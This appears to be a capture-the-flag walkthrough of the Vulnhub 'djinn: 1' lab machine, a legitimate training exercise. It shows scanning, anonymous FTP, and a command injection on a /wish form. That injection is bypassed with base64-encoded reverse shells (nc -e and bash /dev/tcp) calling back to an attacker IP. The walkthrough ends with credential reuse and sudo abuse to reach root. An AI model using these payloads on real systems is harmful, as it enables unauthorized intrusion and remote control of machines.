Hello guys, today we will face an Intermediate
challenge. Introducing the djinn: 1 virtual machine, created by “0xmzfr” and
available on Vulnhub. This is another Capture the Flag Style Challenge where we
have to escalate privileges to the “root user” and find 2 flag to complete the
challenge.
Since these labs are available on the Vulnhub
Website. We will be downloading the lab file from this link.
Penetration
Methodologies:
·
Network Scanning
o
Netdiscover
o
Nmap Scan
·
Enumeration
o
FTP Enumeration
o
Browsing HTTP Service
o
Netcat
o
Directory Bruteforce using gobuster
o
Discovering Command Injection
·
Exploitation
o
Bypassing Command Injection Filter
o
Getting Netcat Session
o
Enumeration Files and Directories
·
Post Exploitation
o
Reading the User Flag
o
Getting Login Credentials
o
Enumeration for Sudo Permissions
·
Privilege Escalation
o
Abusing Sudo Rights
o
Confirm Root Access
o
Reading the Root Flag
Walkthrough
Network Scanning
The first step is to identify the target. So,
to identify your target we will use the following command:
netdiscover
Now we will use Nmap to gain the information
about the open ports and the services running on the target machine using the
command
nmap -p-
192.168.43.134
So as we can see that port 21/TCP is open so
we can try for anonymous login to fetch some useful information.
Enumeration
Yes! We are in! There are three files here
namely creds, game and message.
ftp 192.168.43.134
anonymous
ls
We can see let’s try to download these three
files in our kali machine and try to read their content
Command used to download these files are:
get
creds.txt
get
game.txt
get
message.txt
We downloaded the all three files in our Kali
machine and now it’s time to see the content of these files using the command
cat
cat
creds.txt
cat
game.txt
cat
message.txt
So we have three things that seems to be
useful for us, but SSH port is filtered so clearly these creds can’t be used to
login via SSH. let’s note down these three highlighted parts in a file for
future reference.
But according the message.txt file there is a
game running on port 1337. let’s play the game.
http://192.168.43.134:1337
We get an error: This page isn’t working. So
in this case we will use Netcat to make connection so that we can play the game
nc
192.168.43.134 1337
As we can see in the above image that the we
need to answer such simple maths question 1000 times and for sure we are not
going to do that. The reason is: playing this game is time consuming and we are
not sure about after solving 1000 times is there any gift for us which will
help us or it’s just some greeting message to boost up our confidence.
So without wasting our time let’s try another
port that is 7331
We don’t find anything useful. after checking
the source code there is no information that can be used to login to any of the
account in the targeted machine. So now we can think of directory buster, means
it’s time to find some hidden directories and pages at this particular port. We
used the gobuster tool for directory Bruteforce. This gave us two pages
‘/genie’ and’/wish’.
gobuster
dir -u http://192.168.43.134:7331 -w /usr/share/wordlists/dirb/big.txt
We opened the /genie page. It is showing an
error that is ERROR 403. So this page might be of no use.
http://192.168.43.134:7331/genie
We open this another page named /wish. This
contained text saying “Oh you found me then go on make a wish. This can make
all your wishes come true.” Followed by a form input section and Submit button.
This is absolutely interesting.
http://192.168.43.134:7331/wish
So it’s time to explore the /wish. As there is
a form at this page so for a second we can think of OS command injection. Ok
let’s try some common commands if we are going in right direction or not
id
So the “id” command is
executed successfully. It means we were right before. This is OS command
injection and we can take advantage of this vulnerability to get a shell using Netcat.
Let’s do it!
Exploitation
We started a Netcat listener on our Kali
Machine. Then we tried to invoke the Netcat shell from the Command Injection
that we just found.
nc -nlvp
1234
nc -e
/bin/sh 192.168.43.249 1234
It gives a message: Wrong choice of words
So after trying lot of command we can conclude
that some of the symbols are characters are restricted. if those characters are
present in the command then the command is not going to be executed.
So after thinking a lot we came up with a
solution what if encrypt the whole command in base64 format because commands
like “echo”,” base64 -d” and “bash” are working.
Website used to encrypt: https://www.base64encode.org/enc/encore/
nc -e
/bin/sh 192.168.43.249 1234
Encoded command:
bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQzLjI0OSAxMjM0
So now we will use pipe (|) operator to make
our work done!
After experimenting a lot with /wish page we
came up with this command:
echo
bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQzLjI0OSAxMjM0 | base64 -d | bash
But our luck is not good, this doesn’t work.
It gives no error but this command doesn’t give us the shell access either. Now
it’s time to search for some other forms of commands to get a shell and we will
try this:
bash -i
>& /dev/tcp/192.168.43.249/8080 0>&1
So we encoded this command using the same
website. So now we will try the below written command in /wish page. Don’t
forget to start the listener using the command shown below.
nc -nlvp
8080
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI0OS84MDgwIDA+JjE=
We got the shell using this technique. We ran
the command whoami to find the user of which we just got the shell. It came out
to be www-data.
We decided to look around the machine. We
found a directory named 80 in the opt directory. We opened it. Here we find
some files. We took at the app.py file. We found the path to a file named
creds.txt. Let’s change the directory to the given directory and try to read
the credentials.
ls
cat app.py
We navigated to the path mentioned in that
file. We found the credential for the user nitish.
cd /home
cd
nitish/.dev/
cat
creds.txt
We decided to login in as nitish. To do this
we used the bash command. This invoked a bash shell, we converted that shell
into a TTY shell using the python one liner.
bash
python -c
'import pty;pty.spawn("/bin/sh")'
We changed the user with the help of the su
command. After entering the password that we found earlier we successfully
logged in as nitish.
su nitish
p4ssw0rdStr3t0n9
whoami
Post Exploitation
Now that we reached a stage in out
exploitation that we have the access of a user. We decided to look for the user
flag that is hidden. We traversed into the nitish user home directory. Here we
found the user.txt. This is the User Flag. Congratulations!! We found our first
flag.
ls
cd nitish
ls
cat
user.txt
Now it’s time to check for Sudo rights of the
user nitish using the command:
sudo –l
We found that the user nitish can execute the
genie binary without any password for user sam.
As this is a custom user generated script. We
started tinkering it in order to understand the working of the script.
genie
genie -h
After messing around with this binary we
successfully managed to get a shell of user sam using the command:
sudo -u
sam genie -cmd new
whoami
Now we will try to get a stable shell using
the command bash and after that we will check for sudo rights for the user sam.
We again tried to enumerate the Sudo Permissions. As we can see that we can
execute the /root/lago as root so let’s do it!
bash
sudo -l
Privilege Escalation
After trying a lot, we find a solution that it
is possible if we can manage the correct number then we can get access to the
root shell and yes we are right this time too. After multiple tried we enter
the choice 2 and then type in “num” and successfully got a root shell.
sudo -u
root /root/lago
2
num
whoami
We used the bash command to get a proper shell
of the root user. Now that we are root user, we need to find the root flag.
Instead to wandering here and there we decided to go to the root directory of
the root user. Here, find a script named proof.sh.
bash
su root
cd
ls
We ran the script, It gave us the final root
flag that was needed to complete this CTF Challenge.
./proof.sh
Author: Yash Saxena an undergraduate student pursuing B. Tech in Computer science and
engineering with a specialization in cybersecurity and forensics from DIT
University, Dehradun. Contact here.